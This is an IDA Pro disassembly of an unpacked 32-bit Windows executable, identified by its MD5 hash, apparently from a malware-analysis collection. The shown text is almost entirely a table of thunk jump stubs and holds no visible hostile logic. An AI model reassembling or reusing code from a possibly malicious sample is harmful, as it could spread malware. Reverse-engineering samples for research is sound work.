; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : C3E64EC1DC692518EECC2E20C5B753DA ; File Name : u:\work\c3e64ec1dc692518eecc2e20c5b753da_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00112000 (1122304.) ; Section size in file : 00112000 (1122304.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing db 5 dup(0CCh) ; --------------------------------------------------------------------------- jmp loc_430920 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43F09Co jmp loc_412D80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421BF0+29p jmp sub_422150 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_432540 ; --------------------------------------------------------------------------- jmp loc_420EA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:004119B3p jmp sub_4119E0 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B29Dp ; ___:0040B2AAp ... jmp sub_403C50 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FB90+34p jmp sub_40B0E0 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404CC0+616p ; sub_404CC0+6D5p ... jmp sub_40A110 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42B3F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_4135E0+3Bp ; ___:00414C00p jmp sub_4156D0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_430B30+6Ep ; sub_430B30+8Ap ... jmp sub_4342D0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:00430212p ; sub_430B30+3Fp ... jmp sub_434150 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423A40 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D210 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B0E0+3Ap ; sub_40B150+1Ap jmp sub_433C70 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E760+37Bp jmp sub_421D30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C1A0+8p jmp sub_40C360 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_432BF0+5Ap ; sub_434A00+50p jmp sub_432BB0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43F07Co jmp sub_41C710 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416FAAp jmp sub_41FCD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40C040+32p jmp sub_40C200 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416FBAp jmp sub_418390 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415920+6Ap ; sub_416380+32p jmp sub_4162C0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E760+161p ; sub_4224E0+3p jmp sub_421B50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ADE0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421D30+3p ; ___:004220FFp ... jmp sub_422270 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C4E0+43p jmp sub_40CBB0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_4292E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_4075C0+Ap jmp sub_407660 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4246D0+23p ; sub_424870+6p ... jmp sub_4245E0 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_431EF0+F5p ; sub_431EF0+14Fp jmp sub_4340E0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4344C0+C8p jmp sub_431C80 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043F174o jmp sub_42B0B0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43F0A0o jmp loc_41E3C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_418430+D0p ; sub_418590+2Dp jmp sub_418B20 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_410030+8D9p ; sub_410030+990p ... jmp sub_411930 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:00430626p ; ___:00430694p ... jmp sub_4321F0 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421E50+9p ; sub_422340+18p jmp sub_4224C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40AAD0+58p ; sub_40AAD0+82p ... jmp sub_40ACC0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422B40+3F1p ; ___:00423BA6p ... jmp sub_419BE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416110+7p jmp sub_416740 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_415600+5Bp ; sub_415F70+11p ... jmp sub_4161C0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_42AF20+58p jmp sub_42AD90 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421970+1Fp jmp sub_421DB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_4220B0+11p ; ___:004220D7p ... jmp sub_4225D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421B30+3p ; ___:00421E9Fp ... jmp sub_422010 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_4144D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_428210+3p jmp sub_428240 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415B00+11p ; ___:00415B27p ... jmp sub_416570 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_434600 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421C60+5p ; sub_421D50+6p ... jmp sub_422250 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416B5Bp ; ___:0043B25Ej ... jmp sub_417B60 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404CC0+6Ap ; sub_404CC0+1AFp ... jmp sub_412A40 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43F074o jmp sub_4193C0 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: sub_432D10+6p ; ___:00432D23p ... jmp sub_430770 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42F6C0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43F15Co jmp loc_42AD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423D9Dp jmp sub_423860 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_433240 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:00415178p jmp sub_415A90 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41BA50+F7p ; sub_41BA50+10Bp ... jmp sub_409F80 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_4099F0+Ap jmp sub_409AE0 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4134A0+55p ; sub_4134A0+94p ... jmp sub_415860 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425100+18Cp ; ___:00425F7Dp jmp sub_4236F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414C8Ep jmp sub_415600 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_4288F0+3p jmp sub_428920 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43F038o jmp loc_4119B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415ED0+11p ; ___:00415EF7p ... jmp sub_4166F0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_41D830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418C10+23p ; sub_418E80+11p jmp sub_418F60 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418B90+3p ; sub_418F90+54p ... jmp sub_418DE0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_4096E0+6Ap ; sub_4096E0+103p jmp sub_409980 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_433B30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413E4Dp jmp sub_413C40 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A2E4p jmp sub_41B0E0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_4134A0+88p ; sub_4148A0+BFp ... jmp sub_415A30 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_430770+7p ; sub_4307E0+19p ... jmp sub_434BA0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DBF0 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:0043239Ap jmp sub_431D40 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_407230+11p ; sub_4073C0+1Fp jmp sub_407460 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_403720+3B5p ; sub_403720+3C5p ... jmp sub_403E50 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421D10+3p jmp sub_422290 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C330+Ap jmp sub_40C3F0 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_403720+1Dp ; sub_407080+1Fp ... jmp sub_403CC0 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413344p ; ___:0043AC8Cj ... jmp sub_415490 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42C640+3p jmp sub_42C670 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AFE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414C9Dp jmp sub_414D40 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407660+7p ; sub_409AE0+7p ... jmp sub_407690 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_4135E0+73p ; ___:00414C3Dp ... jmp sub_4156F0 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E760+58p jmp sub_420630 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413E70+84p jmp sub_4138B0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00433718p jmp sub_431060 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_407510+8p jmp sub_4075F0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404CC0+9Fp ; sub_404CC0+230p ... jmp sub_40A510 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A870+21p ; sub_40AAD0+A5p jmp sub_40AAB0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40B050 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A510+129p ; sub_40A8F0+4p ... jmp sub_40A8C0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43F0DCo jmp sub_427940 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004335ADp jmp sub_430D60 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_407340+3p ; ___:0040740Fp ... jmp sub_4074D0 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D930+346p ; sub_41D930+410p ... jmp sub_421970 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421BB0+11p ; sub_4220B0+1Fp jmp sub_4221E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42C7E0+3p jmp sub_42C810 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_4077E0 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C200+5Fp jmp sub_40C3D0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_403530+F6p ; sub_403530+12Ep ... jmp sub_409D10 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E760+113p ; sub_41E760+124p jmp sub_421B30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043F060o jmp sub_41F960 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416BFBp ; ___:0043B1D2j ... jmp sub_4177B0 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AFA0+Fp jmp sub_431240 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418C10+32p jmp sub_418E80 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_434860 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_415500+5p ; sub_415710+6p ... jmp sub_416130 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BD90+29p ; sub_40BEB0+29p jmp sub_40C040 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E760+3E9p ; ___:0043C4ABj jmp sub_421BF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_4145A0+BFp jmp sub_4152E0 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4165E0+Ap jmp sub_416920 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416C67p ; ___:0043B173j ... jmp sub_4170B0 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near jmp sub_418430 sub_401267 endp ; --------------------------------------------------------------------------- jmp sub_416D30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416F1Fp jmp sub_4180D0 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414760 ; --------------------------------------------------------------------------- jmp loc_430320 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_410030+387p ; sub_41F030+21Dp ... jmp sub_41B7E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416F5Ap jmp sub_418280 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409570+8p jmp sub_4095C0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_42AD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_4096E0+A5p ; sub_412C90+21p jmp sub_4098F0 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404CC0+382p ; sub_41D930+5AAp jmp sub_41C130 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416E6Fp jmp sub_403720 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418CC0+23p ; sub_418F90+11p jmp sub_4190E0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424920+Cp ; sub_424920+3Ep ... jmp sub_424410 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_430960 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404CC0+85Ap ; sub_404CC0+AD6p ... jmp sub_40A370 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042FE06p ; ___:0042FE56p ... jmp sub_432780 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E760+367p ; sub_41E760+3D4p ... jmp sub_421D80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_427D50+107o jmp sub_427FD0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424800+18p ; sub_424840+Ap ... jmp sub_4247B0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416220+9p ; sub_4162C0+18p jmp sub_4168D0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_432570+32o jmp sub_432D70 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42FE50 ; --------------------------------------------------------------------------- jmp loc_419CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_42AD90+67p jmp sub_41FFF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:004301E8p ; sub_4303A0+2p ... jmp sub_431560 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413740+3Fp ; sub_4145A0+40p ... jmp sub_415230 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404690+19Fp ; sub_404690+212p ... jmp sub_409FD0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424F70+B5p ; sub_424F70+F1p jmp sub_424F00 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425100+130p jmp sub_424F70 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416F3Ap jmp sub_418180 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416F0Fp jmp sub_418010 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4316C0+1p jmp sub_431750 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00427201p jmp sub_427740 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_418430+71p ; sub_418430+BBp ... jmp sub_418AF0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A180+7p jmp sub_40A1A0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004329C8p ; sub_432A20+2Bp jmp sub_432BF0 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_432570+1p jmp sub_4327B0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4208E0+37Bp jmp sub_421CD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414430+5Bp jmp sub_415100 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_415490+29p ; sub_4155B0+29p jmp sub_416030 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00437232p ; ___:00437242p ... jmp sub_4370F0 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_4134A0+5Fp ; sub_4134A0+9Ep ... jmp sub_415A60 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B600+62p ; ___:0040BAC8p ... jmp sub_40BF40 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4313B0 ; --------------------------------------------------------------------------- jmp loc_42FF30 ; --------------------------------------------------------------------------- loc_40134D: ; DATA XREF: ___:0043F1A8o jmp loc_42C690 ; --------------------------------------------------------------------------- jmp loc_42C5D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416190+8p jmp sub_4167B0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_4134A0+71p ; sub_4134A0:loc_41356Cp ... jmp sub_415A10 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_418430+AFp ; sub_4190E0+3p jmp sub_418BB0 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043F104o jmp sub_427D50 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B600+39p ; sub_40B600+78p ... jmp sub_40BF70 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_426A90+29p ; sub_426A90+38p jmp sub_4269A0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A600+1Cp jmp sub_41A640 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043F164o jmp sub_42AF20 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408C9Cp ; ___:00414551p jmp sub_414300 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418590+72p jmp sub_406C80 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409E00+7p ; sub_409F50+7p ... jmp sub_40A7E0 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43F080o jmp sub_422B40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413BB0 ; --------------------------------------------------------------------------- jmp sub_42C640 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_418A00+11p ; sub_421DB0+1Fp jmp sub_418D50 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C5C0 loc_4013A2: ; CODE XREF: sub_42C5C0+3j jmp sub_42BB00 ; END OF FUNCTION CHUNK FOR sub_42C5C0 ; --------------------------------------------------------------------------- jmp sub_42C7E0 ; --------------------------------------------------------------------------- jmp loc_42FEA0 ; --------------------------------------------------------------------------- jmp loc_414B30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_4072E0+1Fp jmp sub_4073C0 sub_4013B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013BB proc near ; CODE XREF: sub_4257F0+47Fp jmp sub_4253C0 sub_4013BB endp ; --------------------------------------------------------------------------- jmp loc_42FAA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C5 proc near ; CODE XREF: sub_40FE40+3p ; ___:00416BEBp ... jmp sub_40FE70 sub_4013C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CA proc near ; CODE XREF: sub_426560+Cp ; sub_4266D0+Ap ... jmp sub_426520 sub_4013CA endp ; --------------------------------------------------------------------------- jmp loc_40D3C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; CODE XREF: sub_4253C0+E9p ; 